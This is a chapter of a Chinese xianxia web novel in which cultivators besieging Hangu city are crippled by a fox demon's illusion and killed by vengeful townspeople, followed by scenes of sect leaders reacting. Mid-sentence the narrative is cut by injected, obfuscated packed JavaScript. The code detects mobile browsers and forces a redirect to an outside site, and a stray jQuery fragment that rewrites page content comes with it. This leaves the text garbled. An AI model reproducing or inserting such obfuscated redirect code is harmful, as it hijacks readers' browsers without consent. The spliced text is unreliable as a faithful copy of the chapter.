36. 昭华篇(08)

作品:《怪神的日常

    函谷城外出现了六个陌生修士的消息第三天才传回天玑宗在下界的势力范围——距离函谷城两百里之外的范城。


    天玑宗在城里兴建了一处规模宏大的殿堂,常驻着二十个金丹修士和几十个筑基修士,金丹圆满的执事长老孙翊刚结束闭关,听到刀疤匪兵的禀报,缓缓睁开了眼睛。


    “六个修士?最高什么修为?”他的声音平淡,听不出情绪。


    “不、不知道,”刀疤头领忍着骨折伤痛跪在地上,浑身发抖,“他们没用剑,也没用法术、符箓、阵法,只用了幻术,那雾一出现,我们就全灭了。”


    “幻术?”孙翊若有所思地捻了捻手指,“精通幻术的修士,倒是少见。”


    他沉吟片刻,朝一旁的门人问道:“函谷城的薛九在吗?”


    “不在。”门人恭敬回答,“您闭关期间,玄明教和神机阁组织了元婴期修士围攻朱卫城和绍晖城,薛九赶去支援了。现在函谷只有少数筑基期修士和护城大阵,没有尊者坐镇。”


    孙翊抬眸,眼中闪过一丝精光——机会来了。


    函谷是三个无名旧部据点中最重要的一处,守着西进的要道。薛九是无名培养出来的阵法师,函谷的防御阵法在他坐镇之下,很难攻破,这么多年来他一直像颗钉子一样扎在那里,让他们如鲠在喉。


    薛九作为接近化神的尊者,不是他们这些金丹能对付的,平时他们不敢轻举妄动。但现在他不在,函谷好巧不巧来了几个不知死活的修士,重伤数百凡人,这让他们师出有名。


    孙翊站起身,袖袍无风自动,“召集九个金丹圆满,准备一下,跟我去函谷。趁薛九不在,一举破了他的阵法,拿下函谷。”


    “可是长老,”门人犹豫道,“万一薛九回来——”


    孙翊冷笑一声,“他回不来!玄明教的手段可不像名门正派,他若离开,柳青或者何奇绝对会折一个,只要折一个,这三城鼎立之势就会崩塌。”


    他眼中闪过凌厉的杀意:“他不在,那大阵多花点时间便能突破,没了大阵,函谷一天就会变成废墟。”他顿了顿,又轻笑道,“至于那六个修士,看在他们给我们送来名头的份上,就先不杀他们,绑了送给魔宫。”


    孙翊向宗门禀报自己的决定后,很快得到答复,薛九短时间确实回不去,让他们务必抓紧机会拿下函谷!


    *


    天玑宗金丹圆满修士御剑来到函谷城外时,正是黄昏,夕阳将远方天空染成血色。


    函谷地处山谷隘口,城墙高耸,易守难攻。因多年围困整座城仅余几万人,天色一暗便陷入一片死寂。


    天玑宗修士悬浮在半空,居高临下地俯瞰着这座久攻不下的城池。护城大阵在感受到他们的气息时,就自动运行了起来,灰白的光罩如倒扣的巨碗,将整座城池笼罩其中。


    城门紧闭,城墙上空无一人,街道上看不见行人。只有偶尔从窗户露出的脑袋,证明这座城里还有活人。


    “看来是吓破胆了。”一个年轻的金丹修士嗤笑道。


    另一个中年修士附和,语气轻蔑,“面对金丹圆满修士,确实该怕。”


    孙翊抬手,示意安静。他仔细观察着护城大阵,阵法运行符文流转,但缺乏薛九坐镇,威力减了不少。


    “准备,破阵。”


    他下令,十名金丹修士同时出手,飞剑化作数道流光,如流星般攻向护城大阵。各种法宝祭出,法术凝聚,火雨、雷光、风刃,铺天盖地砸向那灰白色的光罩。


    “轰!!!”


    震耳欲聋的巨响中,护城大阵固若金汤,即便薛九不在,这些修士对于阵法的伤害也微乎其微。


    孙翊并没有想过阵法会一下被他们攻破,再强大的阵法,也经不起时间消耗,而夜晚才刚刚降临。


    经过一夜持续攻击,那灰白光罩上终于有了一处裂纹,过了一个时辰,有了第二处,紧接着是三处、四处,这些裂痕出现的越来越多,如蛛网般蔓延,到了第二天中午,阵法光芒开始迅速黯淡。


    一晚未眠,透过窗户将外面一切看在眼里的城中百姓,此刻脸上尽是绝望。他们知道,一旦阵法破碎,这些高高在上的修士会做什么,他们会将整座城夷为平地。


    “完了!全完了!”


    “薛真人什么时候回来?”


    “回不来了,听说另外两处也在被围攻!”


    百姓惊恐的声音四散,就在这时,城墙上突然出现了四个人影,正是此前帮助城外村民赶走匪兵救下粮食的吴瑛、林路、胡三和木七。


    他们站在摇摇欲坠的阵法内,神色平静地看着外面的金丹修士。


    孙翊心中有一瞬疑惑,怎么是四个修士?不对,是两个修士、两个妖族!


    难怪擅长幻术,原来有妖族!


    在看清几人修为后——实际上只看清了林路的修为,他冷笑着开口:“终于出来了,还以为你们要当一辈子缩头乌龟。”


    吴瑛没有回答,也没有看孙翊,只是给了身边的胡三一个眼神。


    胡三微微一笑,双手起势,赤色瞳孔中闪现出妖异的狐火,她眼睛一闭一睁,十个金丹修士眼前的景象,就开始毫无征兆地扭曲、破碎。


    他们眼前的函谷城消失,护城大阵消失,天地瞬间变成了血红一片。


    铺天血雨从高空齐齐落下,让他们避无可避,每一滴落在他们身上,像烙铁一样灼烧着他们的身体——每一丝血雨都包含浓厚的怨气和戾气,让金丹修士的身体开始嗤嗤冒烟。


    地面裂开数道缝隙,黝黑深邃,忽然一些白点从地下冒出——竟是无数苍白鬼手,一个接一个地往上爬,直到抓住那些修士的脚踝,便开始疯狂地将他们往地底拖拽。


    四周响起无数凄厉的哀嚎,有男有女,有老有少,都是他们曾经迫害过的凡人和修士。


    “幻术!是幻术!”孙翊怒吼,金丹期的灵力全力爆发,试图冲破幻境,“区区幻术,也敢在吾等面前……啊!!!”


    他突然惨叫一声,低头看去,只见一只鬼手穿透了他的丹田,将他体内的金丹生生剖出、捏碎。金丹破碎,道基崩塌,无比真实的感觉从丹田传来,真实到他全身不受控地痉挛。身体的每一条经脉、血管都被那只鬼手狠狠攥紧,仿佛要将他整个捏碎。


    其他九个金丹修士也好不到哪去,有的看见自己被飞剑反噬,刺穿了胸膛。有的看见心魔从体内钻出,啃食自己的神魂躯体。有的看见灭世天劫降临,自己被天降巨雷劈得魂飞魄散。


    而在函谷百姓眼中,只看到外面的十个金丹修士突然开始疯狂攻击空气,到最后他们甚至互相打了起来,飞剑乱舞,法术乱轰,完全丧失了理智。


    有人从空中坠落,摔到地上还在拼命挣扎。有人抱头惨叫,七窍流血。有人跪地求饶,对着空气不停磕头。


    有修士和百姓慢慢聚集到城墙上,居高临下地看着这十个突然发狂的修士。


    “他们怎么了?”百姓不解。


    “是幻术!”函谷城内的筑基修士解释,“是护下粮食的那几位义士,他们用了幻术!”


    而让金丹圆满直接崩溃疯掉的幻术,只有修士才知道,这得多么强大、多么可怕!


    一个时辰不到,吴瑛就感受到城外修士的金丹全都碎了,便让胡三解除了幻术。


    十个金丹修士瘫倒在地,脸色惨白,眼中满是惊恐。


    他们惊恐地发现,虽然眼前的幻术消失,但他们的痛苦并没有消失——他们苦修数十年才凝成的金丹,那让他们高高在上的修为和力量,真的没了。


    他们在幻境中,“看到”并“相信”自己金丹破碎、道基崩塌,幻术真实到让他们的身体相信了眼中所见、心中所想,于是身体做出相应反应,完成了神魂躯体的自我毁灭。


    此刻,他们彻底变成了废人,连凡人都不如的废人。


    *


    吴瑛挥手撤去了那充满裂痕、摇摇欲坠的护城大阵,那个大阵消耗了那些金丹修士的诸多力量,才让他们在胡三的幻术中毫无抵抗之力。


    她走下城墙,来到城外,林路、胡三、木七跟在她身后。


    天玑宗修士瘫软在地,看见吴瑛走出来,第一时间想讨好、想求饶,想用全部身家换取活命的机会,只不过他们的躯体机能已毁,连正常的话都说不出,只能发出“啊啊”的声音。


    吴瑛走到他们面前停下,俯视着这些曾经高高在上、视凡人如蝼蚁的修士。


    “我不杀你们。”


    她的声音很平静,十个修士眼中瞬间亮起了希望之光,但吴瑛的下一句话,就让希望瞬间破碎。


    她说:“我会把你们交给这城里的百姓。”


    随后吴瑛转身,看着跟在林路、胡三、木七身后,在城门口聚集的百姓,洪亮清晰的声音传到他们每个人耳边——


    “这些人,交给你们处理。”


    吴瑛话落之后,有片刻死般的寂静,然后是如海啸一般爆发的怒吼。


    “杀了他们!!!”


    他们没有武器,但有锄头、镰刀、木棍,以及积累了数十年的、深入骨髓的仇恨。


    百姓如决堤的洪水般涌出城门,他们没有章法、没有组织,只有最原始的愤怒和最本能的复仇欲望。


    天玑宗修士惊恐地看着这一切。


    他们想逃、想向宗门求救,但修为被废,连站都站不起来。想奋起反抗,但手脚软得抬也抬不起来。想求饶,却根本发不出声音。


    他们只能眼睁睁看着那些曾经被他们视为蝼蚁的凡人,一步步逼近。


    第一个扑上去的是个老人,他握着一把锋利的柴刀,走到孙翊面前,浑浊的眼中迸发出慑人的光芒,他想起五年前因为反抗抢粮被乱刀砍死的儿子,将柴刀狠狠落在了孙翊身上。


    很快、很用力的一刀,一刀下去,他整个人都有些颤抖。


    看着人群蜂涌着朝那十个废人修士而去,吴瑛没有继续待下去,她带着胡三木七径直走向城内。


    林路没走,她自愿留下来,留在那里,守护着那些需要用行动来释放心中多年仇恨的百姓。


    这样的血腥场景,作为土生土长的昭华人,她这三十年看得太多,她可以直视。


    吴瑛他们,生活在地球那样的环境中,没有见过这种血腥仇恨的场景,她也能理解。


    吴瑛三人头也不回地离开,在他们身后不停传来愤怒的呐喊、痛苦的哭诉。有各式刀具砍破血肉的声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014787|192061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    音,有石头砸碎骨头的声音,有哭泣、有咒骂,有终于得以复仇的、扭曲的狂笑。


    吴瑛想,如果林二在这里的话,他应该会说一句:“天道轮回,因果报应!”


    是啊,让善有善报恶有恶报,就是她吴瑛奉行的道。


    *


    千里之外的天玑宗,魂灯殿。


    守殿的年轻弟子正在打瞌睡,忽然听见一阵异样的声音。他猛地惊醒,抬头望去,整个人僵住了——他看到代表宗门中间力量的金丹修士的魂灯一盏接一盏熄灭。


    不到一盏茶的功夫,竟然灭了十盏。


    年轻弟子吓得魂飞魄散,连滚带爬地冲出魂灯殿,一路奔向宗门大殿。


    天玑宗宗主角一真人正在与几位长老商议下界供奉事宜,听到禀报,手中茶盏啪地被捏碎,化为齑粉。


    他亲自去魂灯殿查看,驻扎在范城十名金丹圆满修士的魂灯前后不超过一盏茶全熄灭,说明他们十人是在短时间内被人一举歼灭——连求救的信号都没来得及发出。


    角一真人脸色阴沉:薛九?……不对,薛九肯定在支援柳青和何奇,还能是谁?


    他召来负责下界事务的长老,详细询问情况,当听到“六个陌生修士,擅用幻术”“孙翊最后传来的情报说是四个金丹修士”的描述时,这位活了四百多年、接近化神期的天玑宗宗主,也陷入了不可置信的沉默。


    “四个金丹?”他呢喃,随后缓缓摇头,“不,能一举灭杀十个金丹圆满,让他们连逃跑都做不到,至少有两个是元婴。但他们伪装成金丹,故意示弱,引人上钩……竟有修士狡诈如斯!”


    下界事务长老冷汗直流:“宗主,现在的情况——”


    “现在的情况?”角一真人冷笑,“现在,我们损失十个中坚力量,被人耍得团团转。”


    但他很快冷静下来,眼中闪过老谋深算的光:“不过,这也说明了一件事——函谷城确实没有尊者坐镇,否则薛九直接出手,何必用这种迂回的手段?”


    “那我们还要继续进攻函谷吗?”


    “要。”角一真人斩钉截铁,“你亲自带五个元婴中期去,我倒要看看,那几个装神弄鬼的家伙,究竟有多大本事!”


    他顿了顿,随后想到,此事关系重大肯定瞒不住,还需要上报给岳兆,十个金丹圆满的损失不是小事。


    他隐隐有预感,这件事不简单,那几个莫名出现的修士背后一定还有更强大的力量。


    *


    岳兆正在城中少华的办公大殿代处理无名城的日常事务,管理这座城比想象中复杂,各宗门势力本就错综复杂,在见识过十年前的灭世大阵之后,他们不少对少华的心思也开始表里不一。


    不管是这座城,还是城里的人,都在岌岌可危的坍塌边缘。


    他收到天玑宗宗主的传音时,整个人都愣住了。


    两个金丹、两个妖族,擅用幻术,四人灭了了十个金丹圆满?这可能吗?


    他又想起了征稽司的那份报告:西境边缘出现了一支人妖混杂的六人队伍,其中一个金丹、一个筑基、两个妖族、一个小女孩,还有一个看不出修为的女修,仅仅被她看一眼,金丹仿佛就要碎了。


    这两波会是同一批人吗?


    如果是,他们为什么要帮函谷?是薛九暗中请来的援军?还是别的什么势力?


    岳兆心中警铃大作,他本能地觉得,这件事不简单,非常不简单。


    这几人的行事风格,不像昭华界任何已知势力:不用法术,隐藏实力,伪装成普通人诱敌深入,用幻术玩弄凡人,让金丹修士放下戒心,再一举歼灭。


    这一行人的形式风格跟那人完全不一样,但岳兆就是莫名想起了一个人。


    一个已经离开两百年的人——无名。


    但少华还稳稳呆在魔宫,两耳不闻窗外事,一心等着五天后给慕飞宇的最后期限。


    如果是无名回来的话,少华不可能感知不到。


    岳兆压下心中疑虑,对角一真人说道:“此事我已知晓。尊上有令,只要不影响上界稳定,不延误供奉,他不会干涉任何下界事务,此事天玑宗自行处理即可。”


    角一真人断了传音,岳兆立即联系上了去西境边界调查的陈玄,将天玑宗下界事故告知,叮嘱陈玄即刻赶往函谷,调查那四个陌生的修士面孔。


    与此同时,在林二的掩护下,慕飞宇已经到了无名城山脚。


    在昭华的十年,林二哪儿都去过,包括无名城,他其实有安全进入无名城的身份和办法。


    两人正准备上山,吴瑛就跟他们联系上,她给了慕飞宇一个新的指令。


    “慕飞宇,在亮明身份前,你帮办法把天玑宗、玄明教、神机阁拉下水,挑拨他们跟少华的关系。”


    慕飞宇眼神微动,他没有问为什么。与吴瑛相处的这些日子,他已经学会听她的安排,她的每一个指令背后,都藏着环环相扣的算计。


    而这个指令,恰好与他原本的打算不谋而合,他本就在思考如何拖延少华。


    现在,理由来了。


    “我知道了。”慕飞宇轻声回应。


    他脑中灵光一闪而过,一个大胆、危险的计划,瞬间成型。